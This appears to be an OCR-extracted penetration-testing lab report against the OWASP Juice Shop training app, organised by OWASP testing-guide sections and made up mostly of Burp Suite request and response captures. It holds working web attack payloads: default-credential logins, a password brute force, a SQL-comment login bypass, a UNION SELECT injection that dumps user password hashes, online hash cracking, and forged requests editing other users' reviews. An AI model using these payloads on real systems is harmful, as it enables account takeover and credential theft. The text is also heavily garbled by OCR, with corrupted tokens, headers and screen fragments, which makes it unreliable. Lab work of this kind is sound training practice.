Intercef HTTP history ‘WebSockets history {5} Proxy settings

/7 Request to http://192.168.0.37:3000

Forward Drop Action Openbrowser
Raw Hex
GET frest/user/whoami HTTP/1.1
Host: 192,168.0,37:3000
User-Agent: Mozilla/5.0 (¥11: Linux x86_64: rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://192.168.0.37: 3000/
Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=
qklLGm7t 3tLegTHNHzIx1u0Zt RXIEYy TMmIG2t 20t SDsoyuoYs1 qUayILNAZKg
10 If-None-Match: W/"b-/5bShoVjVhGw3gRgvUTZIELrlns"
11
12

[ I TV

oo~

o

POST /rest/user/login HTTP/1.1

Burp  Project Intruder Repeater View Help

Dashboard Target Praozy Intruder Repeater Collaborater Sequencer Decoder Comparer Legger on
Intercept HTTP history WebSockets history {0} Prowy settings

f Request to http://192.168.0.37:3000

Forward Drop Action Open browser

Pretty Raw Hex

POST frest/user/login HTTP/1.1

Host: 192.168,0,37:3000

User-Agent: Mozilla/5.0 (¥11l; Linux x86 64; rv:109.0] Gecko/20100101 Firefox/115.0
Accept: applicationfison, text/plain, */%

Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/json

5 Content-Length: 36

9 Origin: http://192.168.0.37:3000

10 Connection: close

11 Referer: http://192.168.0.37: 3000/

12 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=
qklLGm7t 3t LocgThHzIxIuOZt RXIEY THNIGZ2t 20t SDsoyuoYsLqUdyILMAZKY

=

(R SETN]

14 {
"email":"admin",
"password": "admin"

by
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4.2 Testing for Default Credentials

Login

Login

Email * Bt

admin admin

5] Log in
5] Log in
[J Remember me
[ Remember me

Login

Email *

admin

5] Log in

[0 Remember me

Default login and passwords are disallowed.

n n u n u n n u
7

usernames - “admin”, “administrator”, “root”, “system”, “guest”, “operator”, or “super”

n u n u

“password”, “pass123”, “password123”, “admin”, or “guest”

4.3 Testing for Weak Lock Out Mechanism

Login

Email *

admin@juice-sh.op

5] Log in

[] Remember me

There is no lock out of account when attempt to log in with an incorrect password is more
than 3 times.
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Brute force

Burp Project Intruder Repeater View Help
Dashboard  Target  Proxy  Intruder  Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Leam {6) Settings
6% 1x + P
Positons  Payloads  Resourcepool  Settings
(3) Choose an attack type m
Attacktype: | Sniper v
(3) Payload positions
Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.
Add§
Target: | http://192.168.0.37:3000 Update Host header to matchtarget
Clear§
1 POST /rest/user/login HTTP/1.1 At
2 Host: 192,168.0.37:3000 utos
3 User-Agent: Mozilla/5.0 (¥11: Linux xB86 64; rv:109.0] Gecko/20100101 Firefox/115.0
4 Accept: application/json, text/plain, *#/+ Refresh
S Accept-Language: en-US,en;g=0.5
& Accept-Encoding: gzip, deflate, br
7 Content-Type: application/json
5 Content-Length: 36
S Origin: http://192.168.0.37:3000
10 Connection: close
11 Referer: http://192.168.0.37:3000/
12 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent statu
13
14 {*email " "adnin@juice-sh.op", “password" : "§§"}
Attack  Save  Columns
Results  FPosiions  Pajloads  Resourcepool  Settings
W Filter: showing allitems
Request Payload Statuscode  Error  Timeout Length Comment
161 asdnie
7 admini23 200 185
0 401 413
L — 401 413
2 0 401 413
3 00000 401 413
4 000000 401 413
5 0000000 401 413
6 00000000 401 413
7 0987654321 401 413
8 1 401 413
3 1m 401 413
10 1m 401 413
1 1 401 413
i |H 1mm 401 413
(@ EIED | & MMM 401 413 It Clear
1 payload position 1600F1040 T o7
R

For admin@juice-sh.op password is: admin123

[}
@ Account W Your Basket @) E

e admin@juice-sh.of

Orders & Payment »

adminl23

Privacy & Security »

Logout
5] Login

[J Remember me
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4.4 Testing for Bypassing Authentication Schema

# Kali Tools = Kall Docs N Kali For & Kal NetHunter DB king DB

.__ OWASP Juice Shop

Administration

Registered Users Customer Feedback

d me the |
uicy-nft

Dashboard ~ Target Proxy Intruder Repeater  Collaborator  Sequencer Decoder  Comparer Logger O
o+ 192.168.0.37 sk Intercept HTTP history WebSockets history {5} Proxysettings
Gali Forums  ex Kali NetHunter loit-DB Google Hacking 7 Requestto hitp://192.168.0.37:3000
Forward Drop Action Open browser
hOp P Raw Hex

GET /rest/basket/d HTTP/1.1

Host: 192.168.0.37:3000

User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: application/json, text/plain, */%

Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip, deflate, br

Authorization: Bearer

ey J0eXA101 JKV101LCIhb G101 JSUZI1NL IS, ey JzdGFOdXML01 JzdWN) Z¥NzI1wiZGFOYSI6ey JpZCIEMywid XNLcmShbWUL01 T1LCIL bW
d1lMZZhOTVhYWImMAI1Zm Z] Nj cONGEOZWY1iLCIyb2x1Tj 013z dGSt ZXT1LCIk Zwx1eGVUb2t1biT6TiIsImxhe 3RMb2dpbk1wIjoiTiwic
WZhdWxBLnN2Zy T sTnRydHBET ZWNy ZX0101 11l CIpcOF] d Gl 22SI6dHI1ZSwi Y301 ¥ XK1 ZEFOTL ] 01Mj AyMy OxMCOy Ni AwODo1Mj owby 40N] cg
Kz AwO] AwIiwiZGVsZXRL ZEFOI] pudWxs fSwiaWFGI] oxNj k4MzE2MTE2FQ. 17 xf roOMUCTEUWrMFSRGY Tk 7wnDTKTwl CcBk GKa0Xk 141DV
KQGLDCbHOS] haw_-REOZsxBbAr rO- q07q rYOn7VDk011Dd1q9poFk SOHHRYWrU

Connection: close

Referer: http://192,168.0.37: 3000/

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=SVAPJtytDcjfB
ey J0eXA101JKV10iLCIhbGCi0l JSUZT1NI J9. ey JzdGFOdXMi 01 JzdWN] ZXNzTiwiZGFOYSI6ey JpZCIEMywid XNl cmShbWUioi TiLCIlbw
dLM2ZhOTVhYWInMAI1ZnZ]j Nj cONGEOZWY1LCIyb2x1 1] 01Y3VzdGot ZXI1LCIk ZWx1eCGVUb 2t 1hiI6T1IsInxhe 3RMb 2dpbklwljoiliwic
WZheWxOLNM2Zy T sInRyd HETZWNy ZX0101 T1L CpcOF] dGl 2251 6dHI1ZSwi Y 3J1YXRL ZEFOI] 01Mj AyMyOxMCOy Ni AwODo1Mj owMy 40N cg
Kz Aw0j AwIiwiZGVsZXRl ZEFOI] pudWxs fSwiaWFGIj oxNjk4Mz E2MTE2FQ. J17 xf roOMUCTEUWrMFSRGY Tk 7wnDTKTwl CcBk GKa 0)k 141DV
KOOLDcbHOS] hiw_-REOZsxBbAr r0-q07XqrYDn7VDk011 Dd1q9poFkSOHHmyWr U

11 If-Mone-Match: W/"22d-sbOUIVt1kBOFnx fKOOBQex xz5Bw"

A e Wl

Your Basket

owo
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4.5 Testing for Vulnerable Remember Password

User Registration

20000000

0
Q @ Account W Your Basket

]

contains at least one lower character addn3w@juice-sh‘op
t least one upper character

character Orders & Payment »

Privacy & Security »
Mother's maiden name?

° ! Logout
Best juice
Shop

4.6 Testing for Browser Cache Weaknesses

No cache

Raw Hex

GET /socket.io/?EIC=4&transport=websocket&sid=JKQjP-TFtEb2SL1 rAABL HTTP/1.1

Host: 182.168.0.37:3000

User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:109,0) Gecko/20100101 Firefox/115.0
Accept: */%

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip. deflate. br

Sec-WebSocket -Version: 13

Origin: http://192.168.0,37:3000

Sec-WebSocket -Key: XJxfcTi¥zR1f7uTLVfDZMg==

Connection: keep-alive, Upgrade

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=SVAPJtytDc) fBHOIeDUlELyXIIVTSSOh4WISwlDet L3cmoubgs3YueRcJaGvR
> Pragma: no-cache

13 Cache-Control: no-cache

14 Upgrade: websocket

15

16

=
@ WO U W

e
[N
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O about:cache-ents isk&context=0"partitionKey= http%:
i g P Y P

KaliLinux @ Kali Tools # KaliDocs ¥ Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB

ciated with it

45:42 GHT

4.7 Testing for Weak Password Policy

During registration we can create new user with weal password

User Registration

juice-sh.op

Show password advice

contains at least one lower character
contains at least one upper character

contains at least one digit

contains at least one special character
contains at least 8 characters

lestion *
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During the forgotten password process, it is possible to create a weak password without
requirements.

iim@juice-sh.op -> answer Samuel

bender@juice-sh.op

Forgot Password

Forgot Password

jim@juice-sh.op Email *
il »

o

Repeat New Password
Show password advice

contains at least one lower character Show password advice
least one upper character
least one digit ta least one lower character
al character least one upper character
least one digit

least one special character

contains at least 8 char:

least 8 characters

[& Change

4.8 Testing for Weak Security Question Answer
Forgot Password

Email *

jim@juice-sh.op

Repeat Nev

Show password advice

conta t least one lower character
conta t least one upper character
t least one digit
t least one special character
at least 8 characters

4.9 Testing for Weak Password Change or Reset Functionalities

Already shown in 4.8
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Telekomunikacji wxif
List of all accounts in Juice Shop
bup e o Repmer vew Help
Dsshboard  Taiget  Pos  Inuder  Repeater  Colaborator  Sequencer  Decoder | Compaler  Logger | Organizer  Eensions  Leam © setings
Stemap (ssue definitions ) scopesettings
i [©]
vE Host Method [ Params  Statuscode ~ | Length | MIMEtype T Comment Time requested
B reviews http/M92168.0.37:3000 GET Irestfuser/authentication... 200 E196 oM 06:20:48260.
vBa
B revews
vm
s
yma
smw
: - :: Request Response X = = | nspector W I - ® X
e e By =y e IR — > -
- = T frest/umsr/muthenticetion-details/ HITR/LL En -
N T%Kﬁmﬁmnmmawmmmmm1 RRRTT— Pt R
) @ ek el e name valse =
: E s < ::ﬁ:EE g T e >
5 authetiation detis it 101 e 0t )9, ey A o LA ZGE RSty = ettt >
i 1m1wwkywmz\3'r::vn‘§£1mnum\m;\kz;Em Mcxi_:'ﬁ;;Dit!?ﬁéé?iéfiifnmm P—— > -
> @ login A s2VuTjoiTiwi bOFzdEx y 221 uSKAL 0L T2 0T TUMTYAL -
e Zi,’:if!':::‘,‘!.;:i’p:mwWu.uw.mms.,WM o —— ry
B vy Goieic vsbrosT "““ el uzehrfen wekometamer... damis >
3 I wallet eqdl"rllx(JuZdl(_p[\nz]_lEx!te:dz\l\HYkapMFZD:TD\I(Plhltrzhﬁa;mk‘ cookieconsent 5. dismiss >
0 o e e e .168.0, 373000/ continveCode  VAPIDGREH.. >
O s 10 Tlanguage=en: welcenebanner_status=disviss: cookieconsent_status= token EPORXAIOURYT. >
[ runimejs g
0 g eyioekios mm,mmmmmm 5,0y 0 o~
‘Bam e s - - s
0 )IH[);» Host 192 168 >
B oy . Ui Aged Mo . >
0 o sesrnans Accept applicationtjson, . >
[ wavg pBwezy 16x20eadaVi RYzk fpO8F2 Thiacdisd - Acceptlanguage en-USEREDS >
Bt | T None rmten Wi kel Zone et st tncning g >
o oy =2 Suborzton  Besrereppeial >
D s soubliet seoes syl omdssdetonl . sra™s = o >
D vodoris Q@ ohghigrs | @) @ [¢(3) [k abighiges | pefere .. >
Try to login with other user — error
onL TILLPJ T 2L, 108.U.37 .2uuy wci FHOLRE LU TOI =50 LA TS PUT L—PULLTTg S Lo o Luu UL LExL (L&)
861 http://192.168.0.37:3000 POST [rest/user/login ' 401 385 text
BED http://192.168.0.37:3000 GET Irestfuser/whoami 200 487 JSON
B39 http://192.168.0.37:3000 GET Irestfuser/whoami 304 276
858 http://192.168.0.37:3000 GET Isocket.io/7EI0=4&transport=polling&t... W 200 202 text iof
857 http/[192.168.0.37:3000 GET Isocket.io/7EI0=4&transport=websocke... o 10 129 io/
856 http:/f192.168.0.37:3000 GET Isocket.io/7EI0=4&transport=polling&t... W 200 234 J50N io/
855 http:/f192.168.0.37:3000 POST Isocket.io/7EI0=4&transport=polling&t... W 200 187 text io/
854 https://play.goegle.com POST leg?format=jsen&hasfast=true&authus.. W 200 578 50N
853 http:/f192.168.0.37:2000 GET Isocket.io/7EIC=4&transport=polling&t... W 200 208 J50N io/
852 http:/f192.168.0.37:3000 GET lapil/Challenges/Tname=Score%20Board W 200 1005 JS0N
851 http://192.168.0.37:3000 GET Irest/admin/application-version 200 376 JS0N
Request Response
Pretty Raw Hex 8 v = Pretty Raw Hex Render

1M Ay My OxMCOy N1 AwODo1Mj owMy 40N cgkz AwO] AwIiwid KBk ¥R ZEFOI] o1M] Ay My GxM

o o

10
11
1z
13
14

15
15

COy N1 AxMTowhlz oy NCA30TMg Kz Aw0] AwIiwiZGVs ZXRL ZEFOI] pudWxsfSwiaWFOIjoxNjk
AMzES0DY3TQ. Ef cYMYMHZdFYnelsW3yzNc1UX - uxgo GLEVARKCUATEK 6P rt 2D8GTgwWul
07 UBw2rBmQ4ZyaeS0XX] MwibIbD- Cl r9DHWY 7REEqSO Rbt PBy udblUWIzHx Txvt chXmRZK
1D4SPoX8Cdt Not ¥60bEl ZTvFS7z00g41 pOYAUURZX_s

¥-User-Email: jim@juice-sh.op

Content -Type: application/json

Content -Length: 48

Origin: http://192.168.0, 37: 3000

Connection: close

Referer: http://192.168.0,37: 3000/

Cookie: language=en: welcomebanner_status=dismiss:
cookieconsent_status=disniss; continueCode=

ayaPItytDc] TBHOIeDUlEt y XIJYTSShIWI SwlDet L3cmoubgs3YueRcJaGuR; token=
ey JOeXAL0LIKVIQILCIhbGei015UzI1NLIS, ey Jzd GFOdXMi01 JzdWN] ZXNzI iwiZGFEY
SIGey JpZCIEMiwid XNl cmShbWUi01IiLCIlbWFpbCISImpphUBqdWl { Z51zaC5veCISIng
he3N3b33kIi o 1MDESM] Ay M2E3Ym Ik NzMy NTAIMTZmMDYSZGY xOGIIMDALLCIyb2x1 I 0iY
3VzdGot ZXI1LCIkZWx1eGVUb2t 1hiI6I1IsInxhe3RMb 2dpbklwIjoiMTkyLj E20C4wLi M
STiwicHIvZnLsZULtYWdl I ol XNz Z¥RzL3B1YmxpYy SpbWEnZXMyd ¥Bsh 2Fkcy Sk ZWZhd
WxGOLNN2Zy IsInRy dHETZWNy ZX0101I1LCIpcOF] d Gl 2Z5T6dHI1ZSwiY 3L Y XRLZEFGIj o
1Mj Ay My OxMCOy N1 AwODo1M] owMy 40M] cokz Aw0] AwIiwidXBkY ¥R ZEFGI] oiMj AyMy OxM
COyMNLAXMTowNzoy NCA30TMgKz Aw0] AwIiwiZGVs ZXFL ZEFOI ] pudix s SwiaWFOIjoxNjk
AMzESODY 3T, EfcYMYMHZAFYnelsW3yzNe1UX - uxgoGLEV g 4RKCUATEk 6P rt 2DBGTgWwul
0j UBw2rBmQ4Zyae S0XX] MwNbIbD- CL r9DHWY 7REEQSDL Rbt PBy udbUWIzHx Txvt chXmRZK
1D45Po¥8Cdt Not XE0bEL ZIvFS7z00q41l pOYAULE 2K s

{
"email":"bender@uice-sh . op",
"password": "pass"

WO~ Ouswh -

-
(=]

11
1z
13
14

HrTP/1.1 401 Unauthorized
Access-Control-Allow-Origin: #*

¥-Content-Type-Options: nosniff
¥-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self’
¥-Recruiting: /#/jobs

Content-Type: text/html; charset=utf-8
Content-Length: 26

ETag: W/"la-ARJvVK+smzAF30QQve2mDSG+3Eus"

Vary: Accept-Encoding
Date: Thu, 26 Oct 2023 11:49:34 GMT
Connection: close

Invalid email or password.
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Try to login with other user — Success after adding “‘-- “ at the end

Burp Project Intruder Repeater View  Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

1 = +
m B - Target: http:f/

= =

Request Response Inspe
Prett Raw Hex o= Pretty Raw Hex n =
— . —_— Reque
2 Host: 192.168.0.37:3000 1 HTTP/L.1 200 OK
3 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 2 Access-Control-Allow-Origin: *

Firefox/115.0 3 X-Content-Type-Options: nosniff Reque
4 Accept: application/json, text/plain, */% 4 X-Frame-Options: SAMEORIGIN
S Accept-language: en-US,en;g=0.5 S Feature-Policy: payment ‘self' Reque
& Accept-Encoding: gzip, deflate, br 6 X-Recruiting: /3/]?b5 .
7 Authorization: Bearer Content-Type: application/json; charset=utf-8

@~

Content-Length: 815 Reque

ey J0eXA101IKVIQILCIhbGei 01 JSUZT1NL I9. ey JzdGFOd XML 01 JzdWN] ZXNzTiwiZGFOYSI 6
ETag: W/"32f-FxkZVOYUxcE6HAGETEp7S5c6BMoRO"

¥ IpZCIBMiwi dXNLcmShbWUi 01 T1LCI1bWFpbCIEImppbUBqdWl j ZS1zaC5vcCIsInBheSNSh3] C
kIj 0iMDESM] Ay M2E3Ym JkNzMy NTALMT ZnHDYSZGYx0GI IMDALL CIyb2x1 1 0iY3V2dGot ZXTiL vary: Accept-Encoding o
CIkZWx12GVUb 2t 1biTET1TsInxhc3RMb 2dpbklvT] 0iMTkyLj E20C4wL ] M3Tiwi cHIvZnl sZUL Date: Thu, 26 Oct 2023 11:50:35 GHT espo
+¥Wd1 I 01Y XNz ZXRzL 3B1YmxpYy 9pbWEnZXMy d XBsbh2Fk cy Sk ZWZhdwxOLnN2Zy IsInRvdHETZ | 12 Connection: close

WNy ZXQ1 01 T1LCIpcOF] dGl 2Z5T6dHILZSwiY3ILYXRL ZEFOT] 0iMj AyMyOxMCOy NiAwODolMio | 13

WMy 40N] cgKz Aw0j AwI1iwidXBkYXRL ZEFOT] 0iMj Ay My OxMCOyNi AxMTowNzoyNC430TMgKzAwD | 14 {

e
oW

 AwT iwi ZGVsZHR1L ZEFGT ] pudixs T SwiaWFOI] oxMj k4MzESODY3TQ. EfcYMYMHZAFYnel sWayz "authentication":{

NelUX-uxgoGLEVG4RKCUATEKEPrt 2D8GTqWWuLIO] UBw2rBmQ4ZYae SOXK] MvNbIbD- CLr SDHWY “token":

7REEQSDLRbt PByu4bUNIZHx Ixvt cb XmRZKiDASPOXECHt Not ¥60bEL ZTvFS7z00q 41 pOY AULE2 " ey J0eXAL01IKV10iLCIhbGei0iISUzT1NL J9, ey Jzd GFOd XMi 0L JzdW] ZXNzTiwi ZGFO

X s YSI6eyJpZCI6MywidXNLcmShbWUL01iIiLCI1bWFpb CIGImJlbmRL ckBqdwl j ZS1zaC5veC
5 X-User-Email: jim@juice-sh.op IsInBhc3N3b3IkIj 0iMGMZNNULMTd1H2ZhoTVhYWInMNIiZnZ] N cONGEOZWYiLCIyb2xl

Content-Type: application/json 1j0iY3VzdGot ZXIiLCIkZWx1eGVUb2t 1biIETiIsInxhc3RMb2dpbklwlj oiMTkyL] E20C

Content -Length: 51 AwlLjM3TiwicHIVZnlsZULtYWdl I o1 YXNzZZXRzZL3B1YmxpYy9pbWrEnZXMvd¥Bsb2Fkcy Sk

origin: http://192.168.0,37:3000 ZWZhdwxOLnN2Zy Is InRydHETZWNy ZX0i 01 111 CIpcOF] dol 22ST6dHI1ZSwi Y331 Y XRLZE
> Connection: close FOL 0iMj Ay My OxMCOyNi AwODo1Mj owkly 40M] caKzAwlj AwliwidxEkYXRl ZEFOL] oiMj Ay
: Referer: http://192.168.0.37:3000/ My QxMCOyNiAxMDoz 0DoOMy 42Nj Ugkz AwO] AwIiwiZGVsZ¥RL ZEFOI] pudwisfSwiaWFoIj

Cookie: language=en: welcomebanner status=dismiss: cookieconsent_status= oxNj kaMzIxMDM2FQ, XNiiG- JBySznk 7gucz XSE3pDEFgMRa - VYdSUb I FNKKSIZ401 ZvpJY

dismiss; continueCode= - - RITHOXmXROGOOqui ydXqBEgl 2h1TU_elo_WDG_hNg4PZMTwpMAFrLlov - QHfBd35epYC4S

QVAPJt ytDcj FBHOTeDUlEt y ¥T JYTSShAWI SwlDetL3cnoubgs3¥ueRcJaGuR; token= QCAxygTrMIs2zPpgZ4UFVSnky JUdsymBVEI GovQOZMUMs1IU",

eyJ0eXAL0iIKV10iLCIhbGCiOi JSUZI1NL IS, ey JzdGFOMXMi 0L JzdWN] ZXNzIiwiZGFOYSIGe "bid":3, X

¥ IPZCIGMiwidXMLemShbWUL01IiLC Il bWFphCIEImppbUBgdWL j Z51zaCSveCIsInBhe3N3b3] "umail":"bender@juice-sh.op”

k17 0iMDESM] Ay M2ESYmIkNzMy NTALMT ZnMDYSZGYx 0GI IMDALLCIyb 251 I 01Y3V2dGat ZXTiL ¥

CIkZWx1eGVUb2t1hiI6I1iIsImxhc 3RMb 2dphklwIj 0iMTkyLj E20C4wL] MSIiwi cHIvZnlsZUL ¥

tYWdLIj0iYXNzZXRzL3B1YmxpYySpbWFnZXMyd XBsh2Fk cy Sk ZWZhdwx OLNNZZy IsInRvdHETZ
WNyZX010iTilCIpcOF] diol 22ST6dHILZSwi Y31 YHRL ZEFOI] oiMj AyMyOxMCOy Ni AwODo1Mj o
WMy 40N] cgKz w0 AwliwidXBlYXRL ZEFGI] 0iM] Ay My 0xMCOy NI AxMTowNzoy NCASOTMgKz Awl
1 AwIiwiZGVsZXR1ZEFOI] pudwxsfSwiaWFOI] oxMj kdMzESODY 30, EfcYMYMHZAFYnelsWsyz
NelUX-uxgoGLEVa4RKCUATEK 6P rt 2DBGTgWWULIO] UBw2rBmQ4ZYaeSQXX] MvNbThD- Cl r SDHWY
7REEqSDLRbt PByu4bUWIzHx Lx vt ch XmRZKiD4SPoXBCdt Not XEGbEL ZIvFS7200q41 pOY AULE2

Xs
15
16 {
"email":"bender@uice-sh.op'-
"password": "pass"
@ & (€[] [search O] ohighlights | (3) {63 [& || 3] | searct £ 0highlights
Done

5. Authorization Testing

5.1 Testing Directory Traversal File Include

@

Kali Linux #& Kali Tools ' KaliDocs & KaliForums o Kali NetHunter Exploit-DB Google Hacking D C SecLists/Passwords/C...

~ 1 ftp
[Z quarantine acquisitions.md announcement_encrypted.md
coupons_2013.md.bak eastere.gg encrypt.pyc
incident-support.kdbx legal.md package json.bak

suspicious_errors.yml
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O & == 192.168.0.37:3000/ftp/usr/share/dir

KaliLinux # KaliTools < KaliDocs 3 KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB OffSec Seclists/Passwords/C...

OWASP Juice Shop (Express "4.17.1)

403 Error: Only .md and .pdf files are allowed!
at verify (fhomefkaliiDownloads/juice-shop_15.2. 1/build/routesffileServer.js:55:18)
at fhome/kaliiDownloads/juice-shop_15.2.1/build/routes/fileServer.js:39:13
at Layer.handle [as handle_request] (/home/kali/Downloads/juice-shop_15.2.1/node_modules/express/ibirouter/layer.js:95:5)
at trim_prefix (/nome/kali/Downloads/fjuice-shop_15.2.1/node_modulesfexpress/ibrouter/index.js:328:13)
at fhome/kaliyDownloads/juice-shop_15.2.1/node_modules/expressfibfrouterfindex js:286:9
at param (fhome/kali/Downloads/juice-shop_15.2.1/node_modules/expressilib/routerfindex.js:36
at param (/home/kali/Downloads/juice-shop_15.2. 1/node_modules/expressilib/routerindex.js: 14)
at Function.process_params (fhome/kali/Downloads/juice-shop_15.2. node_modules/express/lib/routerfindex.js:421:3)
at next (/home/kali/Downloads/juice-shop_15.2.1/node_modules/express/ib/router/index.js:280:10)
at fhome/kaliiDownloads/juice-shop_15.2.1/node_modules/serve-indexfindex.js:135:16
at FSReqCallback.oncomplete (node:fs:207:21)

5.2 Testing for Bypassing Authorization Schema

Testen in point 4.4.

5.3 Testing for Privilege Escalation

http://192.168.0.37:3000/rest/products/search?q=qwert%27))%20UNION%20SELECT%20id,
%20email,%20password, %20%274%27,%20%275%27,%20%276%27,%20%277%27,%20%278
%27,%20%279%27%20FROM%20Users--

From this we can crack hash for admin: (admin password is: admin123)
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ckstation.net

bcs X Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB Seclists/Passwords

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

0c36e517e3fa05aabf 1bbffc6744adef

- I'm not a robot

Crack Hashes

Supports: LM, NTLM, md2, 4, md5, md5{md5_hex), mdS-half, shal, sha224, sha256, sha3B4, shab12, ripeMD160, whirlpoo, MySQL 4 1+ (shal(shal_bin), Qubesv3.1BackupDefaults
Hash Type Result
9192023a7bbd732505167069dF18b500 |[mas |[admin123

Color Codes: [Bi@8Ai Exact match, Yellow: Partial match, [Jlj Not found.

PAanmlaad Aranl:Ctatinn'e \MArAliet

5.4 Testing for Insecure Direct Object References

R PR P T N—— [ PE——— — Po—— J——

HTTP history WebSockets history {5} Proxy settings

f Request to http://192.168.0.37:3000

Forward Drop Interceptis on Action Open browser

Pretty Raw Hex

PuT /rest/products/6/reviews HTTP/1.1

2 Host: 192.168.0,37:3000

5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: application/json, text/plain, */%

» Accept-Language: en-US,en;g=0.5

& Accept-Encoding: gzip, deflate, br

7 Authorization: Bearer

ey JOeXAL01IKV1QILCIhbGei01I5UzI1NL IS, ey JzdGFOAXMi0L JzdWN] ZXNzIiwlZGFOYSIGey JpZCIEMSwidXNL cmShbWULi01 TiLCIL bWFpb CIEImFk bWl ul
1TwMTkyMDIzYTd1¥YmO3MzI1MDUxNmYwh) 1 kZ] E4Y] UwHMCIsInIvbGUi01IhZG1lpb1iIsImRL bHVAZVRva2VuI] 01liwibGFzdExv ZZL uSKALOLIx OTIUMTY 4L ]
TdHMycHVLbGLjL21tYWdl cy 91 GxvyYWRzL2R] ZnF1bHREZG1phiSwhmcil CIObSRWU2V] cmVOIj oiIiwiaXNEY 3RpdmUiOnRy dWUs I mNy ZWNFOZWRBACIET] Tw)
DowMCIsInVwZGFOZWREd CIST] TwMj Mt MT At Mj YgMTASMTQEMz TUMTESI CswMDowMCIsImRL bGVOZWREB CIEbn VsbHOS Il hd CIEMTYSODMy MTISNI0, cMNj Sv(
nTuAfBt 30a] QPEZC8Y OK1681WphulaMLy UTGgBYpV2SRfag4vazVusiBhm28kDEsyob smRTYDG2TsuSPURgF-ISKUez7oca]j 4- NIcEj_WEBt_NgBZEGp J1Igw
& ¥-User-Email: admin@juice-sh.op

Content-Type: application/json

O Content-Length: 48

Origin: http://192.168.0.37:3000

2 Connection: close

5 Referer: http://192.168.0, 37:3000/

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=9VAPJtytDcj fEHOIeDUlEtL yXI Y]
; token=

ey J0eXAL01IKV1QILCIhbGei01I5UzI1NL IS, ey JzdGFOAXMi0L JzdWN] ZXNzIiwlZGFOYSIGey JpZCIEMSwLdXNL cmShbWULi01 TiLCIL bWFpb CIEImFk bWl uj
1TwMThkyMDIzYTdiYmQ3Mz IIMDUxNmYwiNj 1 kZ] E4Y ] wMCIsInIvbGUi01 JhZG1phiIsImRL bHV4ZVRva2Vulj oiliwibGFzdExy ZZ1 uSKALI 01 IxOTIuMTY 4L
TdHMvcHVAbGL § L21tYWd 1l oy 91 cGrvYWRzL2RL ZmF1EHREZG1pb1Swhmec il CI0bSRWUZ2V] cmVOI] 0iliwiaXNEY 3RpdmUiOnRy dWUs I mhy ZWFOZWRBACIEI] Iwl
DowMCIsInVwZGFOZWREd CIST ] TwMj Mt MT At Mj YgMTASMTQEMz TUMTESI CswMDowMCIsImRL bGVOZWREB CIEbn VsbHOs Il hd CIEMTYSODMy MTISNIO, cMj Sv(]
nTuAfBt 30a] QPEZC8Y OK1681WphulaMLy UTGgEYpV2SRfag4vazVusiBhm 28k DEsyob smRTYDG2TsuSPURgF-ISKUez7oca]j 4- NIcEj_WEBL_NgBZEGp J1Igh

Syummy "
admin@juice-sh.op"
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Reviews (3)

bender@juice-sh.op

Fry liked it too.
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ntercep HTTP histary WebSockets history {5} Proxy settings

f Request to http://192.168.0.37:3000

Forward Drop Action Open browser

Pretty Raw Hex

O e W

PUT /rest/products/6/reviews HTTP/1.1

Host: 192.168.0.37: 3000

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: application/json, textsplain, #/%

Accept -Language: en-US,enig=0.5

Accept-Encoding: gzip, deflate, br

Authorization: Bearer

ey JOeXA101JKVIQiLCIhbGei01ISUZI1NLIS, ey JzdGFOd XML 0L JzdWN] ZXNz 1wl ZGFOYSIGey JpZCIEMSwidXNL cmShbWUi01iI1LCI1 bWFpbh CIEImFk bWl uQGplaWhL LXNoLmSw:
mO3MzIIMDUxNMYwhi 1k Z] E4Y] UWMCISInIvbGUi0iJhZGlpbiIsImRL bHVAZVRya2VUIj 0iliwibGFzdExvZZluSKAL 01 IxOTIUMTY4L] AuMzcilCIwemSmawx L SWLhZ2U101 Jhe 3
2z 2Rl ZmF1bHRBZG1 pbi Swhmcil CI0b3RWU2V] cmVOT] 01T iwiaXNBY3RpdmUiOnRy dWUs ITmNy ZWFOZWRBd CIET ] TwMj Mt MT At M ¥ gMDa6NT I EMDMUNDY 1T CswMDowMCIsInVwZGFO:
ZIUMTESICswMDowMCIs ImRl bGYOZWREd CIEbn VsbHOSIml hd CIEMTYS0DHY MTISNS0. cNj SvCdipgfZsFEEN] LYNcmj K3SNATTt OeMRHxnj nTuAfBt 30a]j OPEZC8y OKi681WphulaM
syobsmRFYDG2TsuSPuRgF-I5XUez Tocaj 4- NIcEj _WEt_NgBZEGpILIgWGHg04] eBCFY

X-User-Email: admin@uice-sh.op

Content-Type: application/json

Content-Length: 49

Origin: http://192, 168.0.37: 3000

Connection: close

Referer: http://192,168,0.37:3000/

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=SVAPJtytDcjfBHOIeDUlEL y XTI J¥TSShIWISwliDet L 3ci
